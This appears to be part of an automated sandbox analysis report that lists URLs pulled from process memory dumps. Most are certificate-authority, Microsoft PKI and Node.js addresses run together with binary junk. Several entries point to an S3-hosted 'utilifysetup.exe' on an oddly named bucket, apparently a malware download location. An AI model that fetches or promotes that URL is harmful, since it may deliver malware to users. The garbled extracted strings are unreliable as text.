"http://www.quovadis.bmasyncgenerator.jsawaitvalue.jsarraywithholes.jsarraywithoutholes.jsasynciterator.jsasynctogenerator.jsawaitasyncgenerator.jsclasscallcheck.jsclassnametdzerror.jsconstruct.jscreateclass.jsdecorate.jsdefaults.jsdefineproperty.jsextends.jsget.jsgetprototypeof.jsinherits.jsinheritsloose.jsinstanceof.jsisnativefunction.jsiterabletoarray.jsjsx.jsnewarrowcheck.jsnoniterablerest.jsnoniterablespread.jsobjectspread.jsobjectspread2.jsreadonlyerror.jsset.jssetprototypeof.jsslicedtoarray.jsslicedtoarrayloose.jssuperpropbase.jstdz.jstemporalref.jstemporalundefined.jstoarray.jstoconsumablearray.jstoprimitive.jstopropertykey.jstypeof.js" - Source: "00000000-00004472.00000002.128280.8806C000.00000004.mdmp") Found URL "https://www.catcert.net/verarrel" - Source: "00000000-00004472.00000002.128280.8806C000.00000004.mdmp") Found URL "http://www.cert.fnmt.es/dpcs/emsign" - Source: "00000000-00004472.00000002.128280.8806C000.00000004.mdmp") Found URL "https://repository.luxtrust.lu0gebze" - Source: "00000000-00004472.00000002.128280.8806C000.00000004.mdmp") Found URL "http://crl.certigna.fr/certignarootca.crl01+http://crl.dhimyotis.com/certignarootca.crlus1" - Source: "00000000-00004472.00000002.128280.8806C000.00000004.mdmp") Found URL "http://crl.xrampsecurity.com/xgca.crl0230930042049zimeosonerasecom" - Source: "00000000-00004472.00000002.128280.8806C000.00000004.mdmp") Found URL "http://www.quovadisglobal.com/cps0g0e1quovadis" - Source: "00000000-00004472.00000002.128280.8806C000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crles1;092agencia" - Source: "00000000-00004472.00000002.128280.8806C000.00000004.mdmp") Found URL "http://www.pkioverheid.nl/policies/root-policy-g20es1;092agencia" - Source: "00000000-00004472.00000002.128280.8806C000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_2009.crlarizona1scottsdale1%0" - Source: "00000000-00004472.00000002.128280.8806C000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0verisign," - Source: "00000000-00004472.00000002.128280.8806C000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0izenpe" - Source: "00000000-00004472.00000002.128280.8806C000.00000004.mdmp") Found URL "http://policy.camerfirma.comarizona1scottsdale1godaddy.com," - Source: "00000000-00004472.00000002.128280.8806C000.00000004.mdmp") Found URL "http://www.accv.es/legislacion_c.htmiw2)vmslbc[" - Source: "00000000-00004472.00000002.128280.8806C000.00000004.mdmp") Found URL "http://policy.camerfirma.com081001102956zpki@sk.eepki@sk.ee20301217235959z20101030101030z331001235959z090901000000zscottsdalearizonascottsdalearizonascottsdale371231235959z090901000000z371231235959zarizonaarizonascottsdaleaffirmtrustaffirmtrust100129140824z301231140824zaffirmtrust301231140606z100129140606zaffirmtrust100129141036z401231141036z401231142024zaffirmtrustaffirmtrustaffirmtrustaffirmtrust100129142024z081022120737z080828072433zroot" - Source: "00000000-00004472.00000002.128280.8806C000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_2009.crld-trust" - Source: "00000000-00004472.00000002.128280.8806C000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_ev_2009.crldigicert" - Source: "00000000-00004472.00000002.128280.8806C000.00000004.mdmp") Found URL "http://www.accv.es/fileadmin/archivos/certificados/raizaccv1.crt0http://ocsp.accv.es0$http://www.accv.es/legislacion_c.htm0un0l0jdhttp://www.accv.es/fileadmin/archivos/certificados/raizaccv1_der.crl0accv@accv.esathens1d0b;hellenic" - Source: "00000000-00004472.00000002.128280.8806C000.00000004.mdmp") Found URL "http://www.firmaprofesional.com/cps0\$!" - Source: "00000000-00004472.00000002.128280.8806C000.00000004.mdmp") Found URL "https://ocsp.quovadisoffshore.com0reliance" - Source: "00000000-00004472.00000002.128280.8806C000.00000004.mdmp") Found URL "http://www.quovadis.bm0quovadis" - Source: "00000000-00004472.00000002.128280.8806C000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crlquovadis" - Source: "00000000-00004472.00000002.128280.88329000.00000004.mdmp") Found URL "http://www.accv.es/fileadmin/archivos/certificados/raizaccv1.crt0http://ocsp.accv.es0v0t0e0," - Source: "00000000-00004472.00000002.128280.88329000.00000004.mdmp") Found URL "https://www.catcert.net/verarrel05'vegeu" - Source: "00000000-00004472.00000002.128280.88329000.00000004.mdmp") Found URL "https://www.catcert.net/verarrel" - Source: "00000000-00004472.00000002.128280.88329000.00000004.mdmp") Found URL "https://ocsp.quovadisoffshore.comcertplus1class" - Source: "00000000-00004472.00000002.128280.88340000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl1$0" - Source: "00000000-00004472.00000002.128280.88340000.00000004.mdmp") Found URL "http://repository.swisssign.com/certsign1certsign" - Source: "00000000-00004472.00000002.128280.88340000.00000004.mdmp") Found URL "http://www2.public-trust.com/crl/ct/ctroot.crlcybertrust," - Source: "00000000-00004472.00000002.128280.88340000.00000004.mdmp") Found URL "http://policy.camerfirma.comteliasonera1teliasonera" - Source: "00000000-00004472.00000002.128280.88340000.00000004.mdmp") Found URL "http://policy.camerfirma.comstarfield" - Source: "00000000-00004472.00000002.128280.88340000.00000004.mdmp") Found URL "http://www.cert.fnmt.es/dpcs/09070,0*https://repository.luxtrust.luturkiye" - Source: "00000000-00004472.00000002.128280.88340000.00000004.mdmp") Found URL "https://wwww.certigna.fr/autorites/crbrowsermaining_ls.uledsntowctiodledlosemeypunitrust1uca" - Source: "00000000-00004472.00000002.128280.88340000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=xqgljyg2rsja9p98zavcbdps7rhahnf3qnfxhzdp7kbqema9a5hg7dv1dpsqbfumiif7irmcrlmxsdpblpkfldhalfu7oe%2b0zng3nvvyc7bi3si3ortclz1awshhvget75w%3d" - Source: "00000000-00004472.00000002.128280.A55C0000.00000004.mdmp") Found URL "https://nodejs.org/download/release/v12.13.0/win-x64/node.libinternal/deps/acorn-plugins/acorn-numeric-separator/indexs2--debug-portexperimental" - Source: "00000000-00004808.00000000.125541.01BB0000.00000004.mdmp") Found URL "https://nodejs.org/download/release/v12.13.0/node-v12.13.0-headers.tar.gzasync_hookshttpchild_processspecified" - Source: "00000000-00004808.00000000.125541.01BB0000.00000004.mdmp") Found URL "https://nodejs.org/download/release/v12.13.0/node-v12.13.0.tar.gzshow" - Source: "00000000-00004808.00000000.125541.01BB0000.00000004.mdmp") Found URL "http://wpad/wpad.datnegotiatwpad3w9iqmgvw,czcthawte," - Source: "00000000-00006836.00000000.119927.668F0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00006836.00000000.119927.668F0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00006836.00000000.119927.668F0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00006836.00000000.119927.668F0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00006836.00000000.119927.668F0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00006836.00000000.119927.668F0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00006836.00000000.119927.668F0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006836.00000000.119927.668F0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006836.00000000.119927.668F0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006836.00000000.119927.668F0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006836.00000000.119927.668F0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006836.00000000.119927.668F0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl01.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00006836.00000000.119927.668F0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00006836.00000000.119927.69870000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3rszysil" - Source: "00000000-00006836.00000000.119927.69870000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00006836.00000000.119927.69870000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00006836.00000000.119927.69870000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00006836.00000000.119927.69870000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006836.00000000.119927.69870000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00006836.00000000.119927.69870000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l%'q%q*iq=!/ns%ory08>=i@iqoz" - Source: "00000000-00006836.00000000.119927.69870000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00006836.00000000.119927.69870000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00006836.00000000.119927.69870000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00006836.00000000.119927.69870000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00006836.00000000.119927.69870000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00006836.00000000.119927.69870000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!" - Source: "00000000-00006836.00000000.119927.69870000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00006836.00000001.121847.4FFA8000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00006836.00000001.121847.4FFA8000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllmpconfigut-53e7e780-2330-40c6-94c6-be75e946e933oftware\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00006836.00000001.121847.4FFA8000.00000002.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00006836.00000001.121847.5C4C2000.00000002.mdmp") Found URL "https://amazonbusketss-535659318049-us-west-1-an.s3.us-west-1.amazonaws.com/utilifysetup.exesasn1.dllmso.dllsasn1-1-5-21-735145574-3570218355-1207367261-1001:\windows\system32\windows.storage.dll%systemroot%\system32\napinsp.dll,-1000builtin" - Source: "00000000-00006836.00000001.121847.668F0000.00000004.mdmp") Found URL "https://amazonbusketss-535659318049-us-west-1-an.s3.us-west-1.amazonaws.com/utilifysetup.exe" - Source: "00000000-00006836.00000001.121847.668F0000.00000004.mdmp") Found URL "https://amazonbusketss-535659318049-us-west-1-an.s3.us-west-1.amazonaws.com/utilifysetup.exe6593189-us-west-1-an.s3.us-west-1.am%systemroot%\system32\ngcrecovery.dll,-100%systemroot%\system32\windowspowershell\v1.0\powershell.exe,-124%systemroot%\system32\fveui.dll,-843%systemroot%\system32\ci.dll,-100%systemroot%\system32\wuaueng.dll,-400%systemroot%\system32\ci.dll,-101%systemroot%\system32\ngcrecovery.dll,-100%systemroot%\system32\wuaueng.dll,-400%systemroot%\system32\windowspowershell\v1.0\powershell.exe,-124%systemroot%\system32\fveui.dll,-843%systemroot%\system32\dnsapi.dll,-103amazonbusketss-535659318049-us-west-1-an.s3.us-west-1.amazonaws.comtcpipsha1microsoft" - Source: "00000000-00006836.00000001.121847.668F0000.00000004.mdmp") Found URL "https://amazonbusketss-535659318049-us-west-1-an.s3.us-west-1.amazonaws.com/utilifysetup.execom/utilifysetup.exesessp" - Source: "00000000-00006836.00000001.121847.668F0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00006836.00000001.121847.668F0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00006836.00000001.121847.668F0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00006836.00000001.121847.668F0000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00006836.00000001.121847.668F0000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00006836.00000001.121847.668F0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00006836.00000001.121847.668F0000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00006836.00000001.121847.668F0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00006836.00000001.121847.668F0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00006836.00000001.121847.668F0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00006836.00000001.121847.668F0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00006836.00000001.121847.668F0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00006836.00000001.121847.668F0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00006836.00000001.121847.668F0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00006836.00000001.121847.668F0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00006836.00000001.121847.668F0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00006836.00000001.121847.668F0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006836.00000001.121847.668F0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006836.00000001.121847.668F0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006836.00000001.121847.668F0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006836.00000001.121847.668F0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006836.00000001.121847.668F0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl01.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00006836.00000001.121847.668F0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00006836.00000001.121847.69870000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3rszysil" - Source: "00000000-00006836.00000001.121847.69870000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00006836.00000001.121847.69870000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00006836.00000001.121847.69870000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00006836.00000001.121847.69870000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006836.00000001.121847.69870000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00006836.00000001.121847.69870000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l%'q%q*iq=!/ns%ory08>=i@iqoz" - Source: "00000000-00006836.00000001.121847.69870000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00006836.00000001.121847.69870000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00006836.00000001.121847.69870000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00006836.00000001.121847.69870000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00006836.00000001.121847.69870000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00006836.00000001.121847.69870000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!x-amz-server-side-encryptionaes256x-amz-request-idd97zgd2cm55etxzvx-amz-id-2kglpujt+bpjngsrafawsl+egx4ufhj25soc9wztytgjpznfrza0izxtppulb1ix1yukrbbmg8iehe5qzcoojofxcljf5dvqspersistent-authwww-authenticatevaryset-cookieamazons3serverretry-afterproxy-supportproxy-authenticatelocation" - Source: "00000000-00006836.00000001.121847.69870000.00000004.mdmp") Found URL "https://amazonbusketss-535659318049-us-west-1-an.s3.us-west-1.amazonaws.com/utilifysetup.execom/utilifysetup.exesessp" - Source: "00000000-00006836.00000002.122890.668F0000.00000004.mdmp") Found URL "https://amazonbusketss-535659318049-us-west-1-an.s3.us-west-1.amazonaws.com/utilifysetup.exe" - Source: "00000000-00006836.00000002.122890.66947000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00006836.00000002.122890.66987000.00000004.mdmp") Found URL "https://amazonbusketss-535659318049-us-west-1-an.s3.us-west-1.amazonaws.com/utilifysetup.exe6593189-us-west-1-an.s3.us-west-1.am:\windows\system32\urlmon.dllrage.dll\??\volume" - Source: "00000000-00006836.00000002.122890.669B9000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00006836.00000002.122890.669B9000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00006836.00000002.122890.669B9000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00006836.00000002.122890.669B9000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00006836.00000002.122890.669B9000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00006836.00000002.122890.669B9000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00006836.00000002.122890.669B9000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00006836.00000002.122890.669B9000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00006836.00000002.122890.669B9000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00006836.00000002.122890.669B9000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00006836.00000002.122890.669B9000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00006836.00000002.122890.669B9000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00006836.00000002.122890.669B9000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00006836.00000002.122890.669B9000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00006836.00000002.122890.669B9000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00006836.00000002.122890.669B9000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006836.00000002.122890.669B9000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006836.00000002.122890.669B9000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006836.00000002.122890.669B9000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006836.00000002.122890.669B9000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006836.00000002.122890.669B9000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl01.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00006836.00000002.122890.669B9000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00006836.00000002.122890.69870000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3rszysil" - Source: "00000000-00006836.00000002.122890.69870000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00006836.00000002.122890.69870000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00006836.00000002.122890.69870000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00006836.00000002.122890.69870000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006836.00000002.122890.69870000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00006836.00000002.122890.69870000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l%'q%q*iq=!/ns%ory08>=i@iqoz" - Source: "00000000-00006836.00000002.122890.69870000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00006836.00000002.122890.69870000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00006836.00000002.122890.69870000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00006836.00000002.122890.69870000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00006836.00000002.122890.69870000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00006836.00000002.122890.69870000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!x-amz-server-side-encryptionaes256x-amz-request-idd97zgd2cm55etxzvx-amz-id-2kglpujt+bpjngsrafawsl+egx4ufhj25soc9wztytgjpznfrza0izxtppulb1ix1yukrbbmg8iehe5qzcoojofxcljf5dvqspersistent-authwww-authenticatevaryset-cookieamazons3serverretry-afterproxy-supportproxy-authenticatelocation" - Source: "00000000-00006836.00000002.122890.69870000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl04(0&0$http://ocsp.comodoca.com0k^-" - Source: "00000000-00006836.00000002.122890.698CE000.00000004.mdmp") 